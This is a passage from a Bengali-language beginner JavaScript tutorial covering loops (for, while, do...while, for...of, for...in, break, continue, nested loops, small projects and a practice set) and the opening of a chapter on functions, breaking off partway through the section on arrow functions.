Part 01 — Core 'for' Loop & Numeric Iteration (5.1 – 5.12)
5.1 What is a Loop?
Loop হলো এমন একটি programming structure, যার মাধ্যমে কোনো code নির্দিষ্ট condition অনুযায়ী বারবার execute করা যায়।
সহজভাবে
একবার code লিখবে ↓ বারবার execute হবে ↓ Condition false হলে থামবে
Real-Life Example

ধরো teacher বললেন:

Teacher: "Class-এর 50 জন student-এর নাম একে একে বলো।"

তুমি যদি প্রতিটি student-এর জন্য আলাদা instruction দাও, অনেক সময় লাগবে।

Programming-এ:

Student 1 Student 2 Student 3 ... Student 50

এটা loop দিয়ে করা যায়।

5.2 JavaScript-এর প্রধান Loop

JavaScript-এ গুরুত্বপূর্ণ loopগুলো হলো:

Loopব্যবহার
forনির্দিষ্ট সংখ্যক বার কাজ
whilecondition true থাকা পর্যন্ত
do...whileঅন্তত একবার execute করে
for...ofiterable-এর values নিয়ে কাজ
for...inobject-এর keys/properties নিয়ে কাজ
Nested looploop-এর ভিতরে loop

এছাড়া:

JavaScriptExample
break
continue

দিয়ে loop-এর flow control করা যায়।

5.3 for Loop

সবচেয়ে common loop হলো for loop।

Syntax
JavaScriptSyntax
for (initialization; condition; update) {
    // code
}

এখানে তিনটি গুরুত্বপূর্ণ অংশ:

initialization ↓ condition ↓ code ↓ update ↓ condition ↓ ...
5.4 Basic for Loop
JavaScriptExample
for (let i = 1; i <= 5; i++) {
    console.log(i);
}
Output
1 2 3 4 5

এখন একদম step-by-step দেখি।

Step 1

JavaScriptStep 1
let i = 1;

i এর value = 1

Step 2

JavaScriptStep 2
i <= 5
1 <= 5 → true

তাই:

JavaScriptStep 2
console.log(i);

Output:

1

Step 3

JavaScriptStep 3
i++

তাই:

i = 2

আবার condition check।

2 <= 5 → true

তারপর:

2

এভাবে চলতে থাকে।

শেষে:

6 <= 5 → false

তখন loop বন্ধ হয়ে যায়।

5.5 for Loop-এর তিনটি অংশ

এই code:

JavaScriptExample
for (let i = 1; i <= 5; i++) {
    console.log(i);
}

এখানে:

1. Initialization

JavaScript1. Initialization
let i = 1

Loop শুরু হওয়ার আগে একবার execute হয়।

2. Condition

JavaScript2. Condition
i <= 5

প্রতিবার check হয়।

3. Update

JavaScript3. Update
i++

প্রতিবার loop body শেষ হওয়ার পর execute হয়।

5.6 Reverse Loop

শুধু সামনে নয়, পিছন দিকেও loop চালানো যায়।

JavaScriptExample
for (let i = 5; i >= 1; i--) {
    console.log(i);
}
Output
5 4 3 2 1

এখানে:

JavaScriptExample
i--

প্রতিবার value 1 করে কমাচ্ছে।

5.7 Even Numbers

1 থেকে 10 পর্যন্ত even number বের করি।

JavaScriptExample
for (let i = 1; i <= 10; i++) {
    if (i % 2 === 0) {
        console.log(i);
    }
}
Output
2 4 6 8 10

এখানে:

JavaScriptExample
i % 2 === 0

মানে number 2 দিয়ে ভাগ করলে remainder 0

5.8 Odd Numbers
JavaScriptExample
for (let i = 1; i <= 10; i++) {
    if (i % 2 !== 0) {
        console.log(i);
    }
}
Output
1 3 5 7 9
5.9 Sum of Numbers

1 থেকে 5 পর্যন্ত সব number-এর যোগফল বের করি।

JavaScriptExample
let sum = 0;

for (let i = 1; i <= 5; i++) {
    sum = sum + i;
}

console.log(sum);
Output
15

কারণ:

0 + 1 = 1 1 + 2 = 3 3 + 3 = 6 6 + 4 = 10 10 + 5 = 15
5.10 sum += i

উপরের code আরও short করা যায়:

JavaScriptExample
let sum = 0;

for (let i = 1; i <= 5; i++) {
    sum += i;
}

console.log(sum);

Output:

15

কারণ:

JavaScriptExample
sum += i;

মানে:

JavaScriptExample
sum = sum + i;
5.11 Multiplication Table

ধরো 5-এর নামতা।

JavaScriptExample
let number = 5;

for (let i = 1; i <= 10; i++) {
    console.log(number + " x " + i + " = " + number * i);
}
Output
5 x 1 = 5 5 x 2 = 10 5 x 3 = 15 5 x 4 = 20 5 x 5 = 25 5 x 6 = 30 5 x 7 = 35 5 x 8 = 40 5 x 9 = 45 5 x 10 = 50
5.12 Template Literal দিয়ে আরও সুন্দরভাবে
JavaScriptExample
let number = 5;

for (let i = 1; i <= 10; i++) {
    console.log(`${number} x ${i} = ${number * i}`);
}

Output একই:

5 x 1 = 5 5 x 2 = 10 ... 5 x 10 = 50

এটা real-world JavaScript-এ অনেক বেশি readable।

Part 02 — 'while', 'do...while' & Infinite Loop Traps (5.13 – 5.20)
5.13 while Loop

while loop ব্যবহার করা হয় যখন:

Teacher: "Condition true থাকা পর্যন্ত কাজ চালাও।"
Syntax
JavaScriptSyntax
while (condition) {
    // code
}
Example
JavaScriptExample
let i = 1;

while (i <= 5) {
    console.log(i);
    i++;
}
Output
1 2 3 4 5
5.14 while Loop কীভাবে কাজ করে?
JavaScriptExample
let i = 1;

তারপর:

JavaScriptExample
while (i <= 5)

condition check করে।

1 <= 5 → true

তারপর 1 print হয়।

এরপর:

JavaScriptExample
i++;

এখন:

i = 2

আবার condition।

এভাবে:

1 → 2 → 3 → 4 → 5

শেষে:

6 <= 5 → false

Loop বন্ধ।

5.15 for বনাম while

for

যখন কতবার loop চলবে সেটা মোটামুটি জানা থাকে:

JavaScriptfor
for (let i = 1; i <= 10; i++) {
    console.log(i);
}

while

যখন condition-based repetition বেশি natural:

JavaScriptwhile
while (userHasNotFinished) {
    // কাজ
}

সহজভাবে:

SituationLoop
নির্দিষ্ট countingfor
Known number of iterationsfor
Condition-basedwhile
Unknown number of iterationswhile
5.16 do...while Loop

do...while একটু আলাদা।

এখানে প্রথমে code execute হবে, তারপর condition check হবে।

Syntax
JavaScriptSyntax
do {
    // code
} while (condition);
Example
JavaScriptExample
let i = 1;

do {
    console.log(i);
    i++;
} while (i <= 5);
Output
1 2 3 4 5
5.17 while বনাম do...while

এটা খুব important।

while

JavaScriptwhile
let i = 10;

while (i <= 5) {
    console.log(i);
}
Output
কিছুই output হবে না

কারণ প্রথমেই:

10 <= 5 → false

do...while

JavaScriptdo...while
let i = 10;

do {
    console.log(i);
} while (i <= 5);
Output
10

কারণ do block প্রথমে একবার execute হয়েছে।

🧠 মনে রাখার নিয়ম
while → আগে condition → তারপর code do...while → আগে code → তারপর condition
5.18 Real-Life Example — Login Attempt

ধরো user-কে অন্তত একবার login attempt করতে হবে।

JavaScriptExample
let attempt = 1;

do {
    console.log(`Login attempt: ${attempt}`);
    attempt++;
} while (attempt <= 3);
Output
Login attempt: 1 Login attempt: 2 Login attempt: 3
5.19 Infinite Loop

যে loop কখনো শেষ হয় না তাকে Infinite Loop বলে।

Example
JavaScriptExample
let i = 1;

while (i <= 5) {
    console.log(i);
}

⚠️ এখানে problem হলো:

JavaScriptExample
i++

দেওয়া হয়নি।

তাই i সবসময় 1 থাকবে।

Condition:

1 <= 5

সবসময় true।

ফলে loop চলতেই থাকবে।

5.20 Infinite for Loop

এটাও সম্ভব:

JavaScriptExample
for (;;) {
    console.log("Hello");
}

এটি infinite loop।

⚠️ Browser/Node.js-এ এমন code accidentalভাবে চালালে সমস্যা হতে পারে।

Part 03 — Loop Flow Control: 'break' & 'continue' (5.21 – 5.24)
5.21 break

break ব্যবহার করে loop সম্পূর্ণভাবে বন্ধ করা যায়।

Example
JavaScriptExample
for (let i = 1; i <= 10; i++) {

    if (i === 5) {
        break;
    }

    console.log(i);
}
Output
1 2 3 4

যখন:

JavaScriptExample
i === 5

তখন:

JavaScriptExample
break;

loop সম্পূর্ণ stop করে দেয়।

5.22 Real-Life Example of break

ধরো 100 জন student-এর মধ্যে তুমি "Rahim"-কে খুঁজছো।

Rahim পাওয়া গেলে আর search করার দরকার নেই।

JavaScriptExample
let students = ["Karim", "Sakib", "Rahim", "Hasan", "Nabil"];

for (let i = 0; i < students.length; i++) {

    if (students[i] === "Rahim") {
        console.log("Rahim found!");
        break;
    }

    console.log("Checking:", students[i]);
}
Output
Checking: Karim Checking: Sakib Rahim found!

Rahim পাওয়ার পর loop stop হয়েছে।

5.23 continue

continue loop বন্ধ করে না।

বরং বর্তমান iteration skip করে next iteration-এ চলে যায়

Example
JavaScriptExample
for (let i = 1; i <= 5; i++) {

    if (i === 3) {
        continue;
    }

    console.log(i);
}
Output
1 2 4 5

3 skip হয়েছে।

5.24 break বনাম continue

এটা অবশ্যই মনে রাখবে।

break

Loop সম্পূর্ণ বন্ধ

continue

Current iteration skip Loop চলতে থাকে
Keywordকাজ
breakপুরো loop stop
continuecurrent iteration skip
Part 04 — Modern Iterators: 'for...of' & 'for...in' (5.25 – 5.32)
5.25 for...of

এটি modern JavaScript-এর খুব important loop।

এটি iterable-এর values নিয়ে কাজ করে।

Array-এর ক্ষেত্রে খুব useful।

Example
JavaScriptExample
let fruits = ["Apple", "Banana", "Mango"];

for (let fruit of fruits) {
    console.log(fruit);
}
Output
Apple Banana Mango

এখানে:

JavaScriptExample
fruit

প্রতিবার একটি value পাচ্ছে।

Apple ↓ Banana ↓ Mango
5.26 for...of কেন useful?

Traditional for:

JavaScriptExample
let fruits = ["Apple", "Banana", "Mango"];

for (let i = 0; i < fruits.length; i++) {
    console.log(fruits[i]);
}

for...of:

JavaScriptExample
for (let fruit of fruits) {
    console.log(fruit);
}

দ্বিতীয়টা অনেক cleaner।

5.27 for...of with String

String-ও iterable।

JavaScriptExample
let name = "Shariar";

for (let character of name) {
    console.log(character);
}
Output
S h a r i a r
5.28 for...of with Array
JavaScriptExample
let numbers = [10, 20, 30, 40];

for (let number of numbers) {
    console.log(number);
}
Output
10 20 30 40
5.29 for...in

for...in সাধারণত Object-এর keys/properties iterate করতে ব্যবহার করা হয়।

Example
JavaScriptExample
let user = {
    name: "Shariar",
    age: 23,
    country: "Bangladesh"
};

for (let key in user) {
    console.log(key);
}
Output
name age country

এখানে:

JavaScriptExample
key

হচ্ছে:

name age country
5.30 for...in দিয়ে Value পাওয়া

Object-এর value পেতে:

JavaScriptExample
let user = {
    name: "Shariar",
    age: 23,
    country: "Bangladesh"
};

for (let key in user) {
    console.log(key, user[key]);
}
Output
name Shariar age 23 country Bangladesh

এখানে:

JavaScriptExample
user[key]

খুব important।

যদি:

JavaScriptExample
key = "name"

তাহলে:

JavaScriptExample
user["name"]

"Shariar"

5.31 for...in বনাম for...of

এটা beginnerদের সবচেয়ে common confusion-এর একটি।

for...in

keys

JavaScriptfor...in
let user = {
    name: "Shariar",
    age: 23
};

for (let key in user) {
    console.log(key);
}

Output:

name age

for...of

values

JavaScriptfor...of
let fruits = ["Apple", "Mango"];

for (let fruit of fruits) {
    console.log(fruit);
}

Output:

Apple Mango
🧠 মনে রাখার নিয়ম
IN → index/key-এর মধ্যে OF → value-এর মধ্যে
5.32 Array-তে for...in ব্যবহার করা উচিত?

Technically করা যায়:

JavaScriptExample
let fruits = ["Apple", "Banana", "Mango"];

for (let index in fruits) {
    console.log(index);
}

Output:

0 1 2

কিন্তু Array-এর values iterate করার জন্য সাধারণত:

JavaScriptExample
for...of

বা array methods বেশি appropriate।

এটা পরে Arrays chapter-এ বিস্তারিত দেখব।

Part 05 — Nested Loops, Patterns & Real Data Processing (5.33 – 5.43)
5.33 Nested Loop

একটি loop-এর ভিতরে আরেকটি loop থাকলে তাকে Nested Loop বলে।

Example
JavaScriptExample
for (let i = 1; i <= 3; i++) {

    for (let j = 1; j <= 3; j++) {
        console.log(i, j);
    }

}
Output
1 1 1 2 1 3 2 1 2 2 2 3 3 1 3 2 3 3

কীভাবে কাজ করছে?

প্রথম outer loop:

i = 1

তখন inner loop পুরোটা চলে:

j = 1 j = 2 j = 3

তারপর:

i = 2

আবার inner loop পুরোটা চলে।

5.34 Nested Loop — Real-Life Example

ধরো একটি university-তে:

3 Departments প্রতিটি Department-এ 3 Students

তাহলে:

JavaScriptExample
for (let department = 1; department <= 3; department++) {

    for (let student = 1; student <= 3; student++) {
        console.log(
            `Department ${department}, Student ${student}`
        );
    }

}
Output
Department 1, Student 1 Department 1, Student 2 Department 1, Student 3 Department 2, Student 1 Department 2, Student 2 Department 2, Student 3 Department 3, Student 1 Department 3, Student 2 Department 3, Student 3
5.35 Pattern Printing

Nested loop বুঝতে pattern printing খুব useful।

Example
* ** *** **** *****

Code:

JavaScriptExample
for (let i = 1; i <= 5; i++) {

    let pattern = "";

    for (let j = 1; j <= i; j++) {
        pattern += "*";
    }

    console.log(pattern);
}
Output
* ** *** **** *****
5.36 Reverse Pattern
***** **** *** ** *

Code:

JavaScriptExample
for (let i = 5; i >= 1; i--) {

    let pattern = "";

    for (let j = 1; j <= i; j++) {
        pattern += "*";
    }

    console.log(pattern);
}
Output
***** **** *** ** *
5.37 Loop Through Array

এটা web development-এর জন্য অত্যন্ত important।

JavaScriptExample
let students = [
    "Shariar",
    "Rahim",
    "Karim",
    "Hasan"
];

for (let student of students) {
    console.log(student);
}
Output
Shariar Rahim Karim Hasan

Real-world application:

API ↓ Students Array ↓ Loop ↓ UI-তে Student Cards

React-এ পরে তুমি প্রায় একই ধরনের concept ব্যবহার করবে।

5.38 Array of Objects

বাস্তব application-এ data সাধারণত এমন হয়:

JavaScriptExample
let students = [
    {
        name: "Shariar",
        age: 23
    },
    {
        name: "Rahim",
        age: 22
    },
    {
        name: "Karim",
        age: 24
    }
];

Loop:

JavaScriptExample
for (let student of students) {
    console.log(student.name);
}
Output
Shariar Rahim Karim

আর:

JavaScriptExample
for (let student of students) {
    console.log(
        `${student.name} is ${student.age} years old.`
    );
}
Output
Shariar is 23 years old. Rahim is 22 years old. Karim is 24 years old.

এটাই পরে API data render করার basic idea।

5.39 Loop দিয়ে Search
JavaScriptExample
let products = [
    "Laptop",
    "Mouse",
    "Keyboard",
    "Monitor"
];

let search = "Keyboard";

for (let product of products) {

    if (product === search) {
        console.log("Product found!");
        break;
    }

}
Output
Product found!
5.40 Loop দিয়ে Maximum Number
JavaScriptExample
let numbers = [10, 45, 23, 78, 12];

let max = numbers[0];

for (let number of numbers) {

    if (number > max) {
        max = number;
    }

}

console.log(max);
Output
78
Logic Trace
max = 10 45 > 10 → max = 45 23 > 45 → No 78 > 45 → max = 78 12 > 78 → No

শেষে:

78
5.41 Loop দিয়ে Minimum Number
JavaScriptExample
let numbers = [10, 45, 23, 78, 12];

let min = numbers[0];

for (let number of numbers) {

    if (number < min) {
        min = number;
    }

}

console.log(min);
Output
10
5.42 Loop দিয়ে Count

ধরো array-তে কয়টি even number আছে।

JavaScriptExample
let numbers = [1, 2, 4, 7, 8, 10, 13];

let count = 0;

for (let number of numbers) {

    if (number % 2 === 0) {
        count++;
    }

}

console.log(count);
Output
4

কারণ even numbers:

2, 4, 8, 10

মোট:

4
5.43 break + continue একসাথে
JavaScriptExample
for (let i = 1; i <= 10; i++) {

    if (i === 3) {
        continue;
    }

    if (i === 8) {
        break;
    }

    console.log(i);
}
Output
1 2 4 5 6 7

কী হয়েছে?

3 → continue → skip 8 → break → stop
Part 06 — Scope, Advanced Mechanics & Practical Mini-Projects (5.44 – 5.52)
5.44 Loop-এর Scope

let দিয়ে loop variable তৈরি করলে সেটি সাধারণত loop block-এর মধ্যে সীমাবদ্ধ থাকে।

JavaScriptExample
for (let i = 1; i <= 3; i++) {
    console.log(i);
}

এর পরে:

JavaScriptExample
console.log(i);

করলে error হবে:

ReferenceError

কারণ i loop-এর বাইরে accessible নয়।

5.45 var এবং Loop

পুরনো JavaScript-এ:

JavaScriptExample
for (var i = 1; i <= 3; i++) {
    console.log(i);
}

console.log(i);

এখানে output:

1 2 3 4

কারণ var function-scoped।

এই কারণে modern JavaScript-এ সাধারণত loop variable-এর জন্য:

JavaScriptExample
let

ব্যবহার করা হয়।

5.46 Loop-এর const

for...of-এ const খুব common:

JavaScriptExample
let fruits = ["Apple", "Mango", "Banana"];

for (const fruit of fruits) {
    console.log(fruit);
}

এখানে প্রতিটি iteration-এ নতুন fruit binding পাওয়া যায়।

5.47 Labelled Statement — Advanced Concept

JavaScript-এ loop-কে label দেওয়া যায়।

JavaScriptExample
outerLoop:
for (let i = 1; i <= 3; i++) {

    for (let j = 1; j <= 3; j++) {

        if (i === 2 && j === 2) {
            break outerLoop;
        }

        console.log(i, j);
    }
}
Output
1 1 1 2 1 3 2 1

এখানে:

JavaScriptExample
break outerLoop;

শুধু inner loop নয়, পুরো outer loop-ও stop করেছে।

⚠️ এটি valid JavaScript, তবে normal code-এ খুব কম ব্যবহার করা হয়।

5.48 Which Loop Should You Use?

একটা practical guide:

নির্দিষ্ট সংখ্যক iteration:

JavaScriptনির্দিষ্ট সংখ্যক iteration:
for

Example:

JavaScriptনির্দিষ্ট সংখ্যক iteration:
for (let i = 0; i < 10; i++) {}

Condition-based:

JavaScriptCondition-based:
while

Example:

JavaScriptCondition-based:
while (balance > 0) {}

অন্তত একবার execute করতে হবে:

JavaScriptঅন্তত একবার execute করতে হবে:
do...while

Array-এর values:

JavaScriptArray-এর values:
for...of

Object-এর keys:

JavaScriptObject-এর keys:
for...in
5.49 Loop vs Array Methods

Modern JavaScript-এ শুধু loop নয়, array methods-ও খুব গুরুত্বপূর্ণ।

যেমন:

JavaScriptExample
map()
filter()
reduce()
find()
some()
every()
forEach()

এগুলো আমরা Arrays Chapter-এ বিস্তারিতভাবে শিখব।

উদাহরণ:

JavaScriptExample
let numbers = [1, 2, 3];

numbers.forEach(function(number) {
    console.log(number);
});

Output:

1 2 3

এখন শুধু জানবে:

Teacher: forEach() একটি array method, traditional loop statement নয়।
5.50 Mini Project — Student Result System

এবার Chapter 4 + Chapter 5-এর concept একসাথে ব্যবহার করি।

JavaScriptExample
let students = [
    {
        name: "Shariar",
        marks: 85
    },
    {
        name: "Rahim",
        marks: 72
    },
    {
        name: "Karim",
        marks: 58
    },
    {
        name: "Hasan",
        marks: 31
    }
];

for (let student of students) {

    let grade;

    if (student.marks >= 80) {
        grade = "A+";
    } else if (student.marks >= 70) {
        grade = "A";
    } else if (student.marks >= 60) {
        grade = "A-";
    } else if (student.marks >= 50) {
        grade = "B";
    } else if (student.marks >= 40) {
        grade = "C";
    } else {
        grade = "F";
    }

    console.log(
        `${student.name} → ${student.marks} → ${grade}`
    );
}
Output
Shariar → 85 → A+ Rahim → 72 → A Karim → 58 → B Hasan → 31 → F

🔥 এখানে তুমি একসাথে ব্যবহার করেছো:

Array Object for...of if else if else Template Literal

পরবর্তী chapter-গুলোতে এগুলো আরও powerful হবে।

5.51 Mini Project — Shopping Cart Total
JavaScriptExample
let cart = [
    {
        name: "Keyboard",
        price: 1500
    },
    {
        name: "Mouse",
        price: 800
    },
    {
        name: "Headphone",
        price: 2000
    }
];

let total = 0;

for (let product of cart) {
    total += product.price;
}

console.log("Total:", total);
Output
Total: 4300
Logic Trace
1500 + 800 + 2000 ------ 4300

এটাই basic shopping cart-এর একটা core logic।

5.52 Mini Project — Find Product
JavaScriptExample
let products = [
    "Laptop",
    "Keyboard",
    "Mouse",
    "Monitor",
    "Headphone"
];

let search = "Monitor";
let found = false;

for (let product of products) {

    if (product === search) {
        found = true;
        break;
    }
}

if (found) {
    console.log("Product found.");
} else {
    console.log("Product not found.");
}
Output
Product found.
Part 07 — Comprehensive Cheat Sheet, Comparisons & Practice Set
CHEAT SHEET 🧠 Chapter 5 Cheat Sheet
FOR → নির্দিষ্টভাবে loop চালাতে WHILE → condition true থাকা পর্যন্ত DO...WHILE → অন্তত একবার চালাতে FOR...OF → values পেতে FOR...IN → keys পেতে BREAK → পুরো loop stop CONTINUE → current iteration skip NESTED LOOP → loop-এর ভিতরে loop
COMPARISON 🔥 সবচেয়ে গুরুত্বপূর্ণ পার্থক্য (Key Loop Differences)

for

JavaScriptfor
for (let i = 0; i < 5; i++) {
    console.log(i);
}

while

JavaScriptwhile
let i = 0;

while (i < 5) {
    console.log(i);
    i++;
}

do...while

JavaScriptdo...while
let i = 0;

do {
    console.log(i);
    i++;
} while (i < 5);

for...of

JavaScriptfor...of
for (let value of array) {
    console.log(value);
}

for...in

JavaScriptfor...in
for (let key in object) {
    console.log(key);
}
PRACTICE LAB 📝 Chapter 5 — Practice Set

Basic Questions

1. Loop কী?
2. for loop-এর তিনটি অংশ কী?
3. while এবং do...while-এর পার্থক্য কী?
4. break কী করে?
5. continue কী করে?
6. for...of কী return করে?
7. for...in কী return করে?
8. Infinite loop কী?
9. Nested loop কী?
10. for...of এবং for...in-এর পার্থক্য কী?

💻 Coding Practice

## 💻 Coding Practice

Problem 1 — 1 to 100

1 থেকে 100 পর্যন্ত print করো।

Problem 2 — Even Numbers

1 থেকে 50 পর্যন্ত সব even number print করো।

Problem 3 — Odd Numbers

1 থেকে 50 পর্যন্ত সব odd number print করো।

Problem 4 — Sum

1 থেকে 100 পর্যন্ত সব number-এর sum বের করো।

Expected:

5050

Problem 5 — Multiplication Table

যেকোনো একটি number-এর 1 থেকে 10 পর্যন্ত multiplication table তৈরি করো।

Problem 6 — Maximum

JavaScriptExample
let numbers = [10, 55, 23, 89, 12, 67];

সবচেয়ে বড় number বের করো।

Expected:

89

Problem 7 — Minimum

একই array থেকে সবচেয়ে ছোট number বের করো।

Expected:

10

Problem 8 — Search

JavaScriptExample
let students = [
    "Shariar",
    "Rahim",
    "Karim",
    "Hasan",
    "Nabil"
];

Karim আছে কিনা check করো।

Problem 9 — Count Even

JavaScriptExample
let numbers = [1, 2, 4, 7, 8, 11, 14, 20];

কয়টি even number আছে সেটা বের করো।

Problem 10 — Pattern

এই pattern তৈরি করো:

* ** *** **** *****

তারপর:

***** **** *** ** *

দুটোই নিজে code করার চেষ্টা করো।

SUMMARY 🎯 Chapter 5-এর মূল শিক্ষা

এখন তোমার মাথায় এই flow-টা clear থাকা উচিত:

Need to repeat something? ↓ Choose Loop ↓ ┌────────┼──────────┐ ↓ ↓ ↓ for while do...while ↓ Data collection? ↓ ┌──────┴──────┐ ↓ ↓ for...of for...in ↓ ↓ values keys

আর সবচেয়ে important:

break → Loop শেষ continue → এই iteration বাদ Nested Loop → Loop-এর ভিতরে Loop
NEXT CHAPTER 🚀 Chapter 6 Preview — Functions

পরের chapter-এ আমরা যাব Chapter 6 — Functions-এ। সেখানে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ building blocks-এর একটি নিয়ে বিস্তারিত করব: Function কী, parameter, argument, return, function declaration/expression, arrow function, default parameter, rest parameter, callback function, higher-order function, scope, এবং practical functions

Chapter 06
↑ Index
Functions & Execution Engine — ফাংশন ও এক্সিকিউশন ইঞ্জিন
Total Sections
66 Modules + Projects
Curriculum Part
Part 03 — Core Mechanics (2/3)
Core Mechanics
Scope, Execution Context & Closures
Reference Standard
ECMAScript 2026 / V8 Runtime

Functions — Code একবার লিখে বারবার ব্যবহার করার উপায়

JavaScript শেখার ক্ষেত্রে Function একটি অত্যন্ত গুরুত্বপূর্ণ concept। তুমি যদি JavaScript দিয়ে:

• Website
• Web App
• React Application
• Node.js Backend
• API
• Authentication
• Calculator
• E-commerce
• Dashboard

ইত্যাদি বানাতে চাও, তাহলে Function ভালোভাবে বুঝতেই হবে।

Part 01 — Core Function Mechanics, Parameters & Arguments (6.1 – 6.12)
6.1 What is a Function?
Function হলো এমন একটি reusable block of code, যেটা একটি নির্দিষ্ট কাজ করার জন্য তৈরি করা হয়।

সহজভাবে:

Core Concept: একবার code লিখবে → প্রয়োজন অনুযায়ী অনেকবার call করবে।
Real-Life Example

ধরো তোমার বাসায় একটা washing machine আছে।

তুমি শুধু:

Start

চাপ দিলে machine-এর ভিতরে অনেক কাজ automatically হয়।

Programming-এ function অনেকটা এমন:

Function ↓ Input ↓ Process ↓ Output
6.2 Without Function

ধরো আমাদের 3 জনের জন্য greeting দেখাতে হবে।

JavaScriptCode
console.log("Hello Shariar");
console.log("Hello Rahim");
console.log("Hello Karim");

এটা কাজ করবে।

কিন্তু একই ধরনের কাজ অনেক জায়গায় করতে হলে code repeat করতে হবে।

6.3 With Function
JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

greet("Shariar");
greet("Rahim");
greet("Karim");
Output
Hello Shariar Hello Rahim Hello Karim

একবার function লিখেছি:

JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

তারপর প্রয়োজন অনুযায়ী call করেছি:

JavaScriptCode
greet("Shariar");
greet("Rahim");
greet("Karim");

এটাই Code Reusability

6.4 Function-এর Basic Structure
JavaScriptCode
function functionName(parameter) {
    // code
}

উদাহরণ:

JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

এখানে:

অংশঅর্থ
functionFunction declare করার keyword
greetFunction-এর নাম
nameParameter
{ }Function body
console.log()Function-এর কাজ
6.5 Function Declaration

এটাকে বলা হয় Function Declaration

JavaScriptCode
function sayHello() {
    console.log("Hello World!");
}

এখন function তৈরি হয়েছে।

কিন্তু এখনো execute হয়নি।

Execute করতে হবে:

JavaScriptCode
sayHello();
Output
Hello World!
6.6 Function Call / Invocation

Function execute করাকে বলা হয়:

  • Function Call
  • Function Invocation

উদাহরণ:

JavaScriptCode
function greet() {
    console.log("Hello!");
}

greet();

এখানে:

JavaScriptCode
greet();

হলো function call।

6.7 Function একাধিকবার Call করা

একটি function একবার লিখে অনেকবার ব্যবহার করা যায়।

JavaScriptCode
function greet() {
    console.log("Hello!");
}

greet();
greet();
greet();
Output
Hello! Hello! Hello!
6.8 Parameter

Function-এর ভিতরে input নেওয়ার জন্য parameter ব্যবহার করি।

JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

এখানে:

JavaScriptCode
name

হলো parameter।

6.9 Argument

Function call করার সময় যে actual value পাঠানো হয় তাকে argument বলে।

JavaScriptCode
greet("Shariar");

এখানে:

name → parameter "Shariar" → argument
সহজভাবে
Parameter → Function তৈরি করার সময় Argument → Function call করার সময়
6.10 Multiple Parameters

একটি function-এ একাধিক parameter থাকতে পারে।

JavaScriptCode
function add(a, b) {
    console.log(a + b);
}

add(10, 20);
Output
30

এখানে:

a = 10 b = 20
6.11 তিনটি Parameter
JavaScriptCode
function introduce(name, age, country) {
    console.log(
        "Name:", name,
        "Age:", age,
        "Country:", country
    );
}

introduce("Shariar", 23, "Bangladesh");
Output
Name: Shariar Age: 23 Country: Bangladesh
6.12 Function-এর ভিতরে Calculation

Function শুধু message print করার জন্য নয়।

JavaScriptCode
function add(a, b) {
    console.log(a + b);
}

add(15, 25);
Output
40

আর:

JavaScriptCode
function multiply(a, b) {
    console.log(a * b);
}

multiply(5, 10);
Output
50
Part 02 — Return Mechanism, Call Stacks & Default Parameters (6.13 – 6.20)
6.13 return

Function-এর সবচেয়ে গুরুত্বপূর্ণ বিষয়গুলোর একটি হলো return

return ব্যবহার করে function থেকে কোনো value বাইরে পাঠানো যায়।

JavaScriptCode
function add(a, b) {
    return a + b;
}

let result = add(10, 20);

console.log(result);
Output
30

এখানে:

JavaScriptCode
return a + b;

মানে function result বাইরে পাঠিয়ে দিচ্ছে।

6.14 console.log() বনাম return

এটা খুব গুরুত্বপূর্ণ।

console.log()

শুধু output console-এ দেখায়।

JavaScriptconsole.log()
function add(a, b) {
    console.log(a + b);
}

let result = add(10, 20);

console.log(result);
Output
30 undefined

কারণ function কিছু return করেনি।

return

Value ফেরত দেয়।

JavaScriptreturn
function add(a, b) {
    return a + b;
}

let result = add(10, 20);

console.log(result);

Output:

30
🧠 মনে রাখার নিয়ম
console.log() → দেখায় return → value ফেরত দেয়
6.15 return Function Execution বন্ধ করে
JavaScriptCode
function test() {
    console.log("Before");

    return;

    console.log("After");
}

test();
Output
Before

return হওয়ার পর function আর নিচের code execute করে না।

6.16 Return Value Store করা
JavaScriptCode
function square(number) {
    return number * number;
}

let result = square(5);

console.log(result);
Output
25
6.17 Return Value নিয়ে আরও কাজ করা
JavaScriptCode
function add(a, b) {
    return a + b;
}

let result = add(10, 20);

console.log(result * 2);
Output
60

কারণ:

add(10, 20) → 30 30 × 2 → 60
6.18 Function-এর ভিতরে Function Call
JavaScriptCode
function add(a, b) {
    return a + b;
}

function double(number) {
    return number * 2;
}

let result = double(add(10, 20));

console.log(result);
Output
60

Step:

add(10, 20) ↓ 30 double(30) ↓ 60
6.19 Function-এর Default Parameter

কখনো argument না দিলে default value ব্যবহার করতে চাই।

JavaScriptCode
function greet(name = "Guest") {
    console.log("Hello " + name);
}

greet();
Output
Hello Guest

কিন্তু:

JavaScriptCode
greet("Shariar");

Output:

Hello Shariar
6.20 Multiple Default Parameters
JavaScriptCode
function introduce(
    name = "Guest",
    country = "Unknown"
) {
    console.log(name, country);
}

introduce();
Output
Guest Unknown

আর:

JavaScriptCode
introduce("Shariar", "Bangladesh");

Output:

Shariar Bangladesh
Part 03 — Function Expressions, Hoisting & Arrow Functions (6.21 – 6.30)
6.21 Function Expression

Function declaration ছাড়াও function variable-এর মধ্যে রাখা যায়।

JavaScriptCode
const greet = function () {
    console.log("Hello!");
};

greet();
Output
Hello!

এটাকে বলা হয়:

Core Concept: Function Expression
6.22 Function Declaration বনাম Function Expression

Function Declaration

JavaScriptFunction Declaration
function greet() {
    console.log("Hello");
}

Function Expression

JavaScriptFunction Expression
const greet = function () {
    console.log("Hello");
};

দুটোই function।

কিন্তু syntax আলাদা।

6.23 Function Declaration Hoisting

Function declaration-এর একটি বিশেষ feature আছে।

তুমি function call আগে করলেও কাজ করতে পারে।

JavaScriptCode
greet();

function greet() {
    console.log("Hello!");
}
Output
Hello!

কারণ function declaration hoisted হয়।

⚠️ Hoisting আমরা Scope & Hoisting chapter-এ বিস্তারিতভাবে দেখব।

6.24 Function Expression আগে Call করলে
JavaScriptCode
greet();

const greet = function () {
    console.log("Hello!");
};

এটি কাজ করবে না এবং error হবে।

কারণ const variable initialization-এর আগে access করা যায় না।

6.25 Arrow Function

Modern JavaScript-এ সবচেয়ে বেশি ব্যবহৃত syntaxগুলোর একটি হলো Arrow Function

Traditional:

JavaScriptTraditional:
function add(a, b) {
    return a + b;
}

Arrow:

JavaScriptArrow:
const add = (a, b) => {
    return a + b;
};

দুটোই:

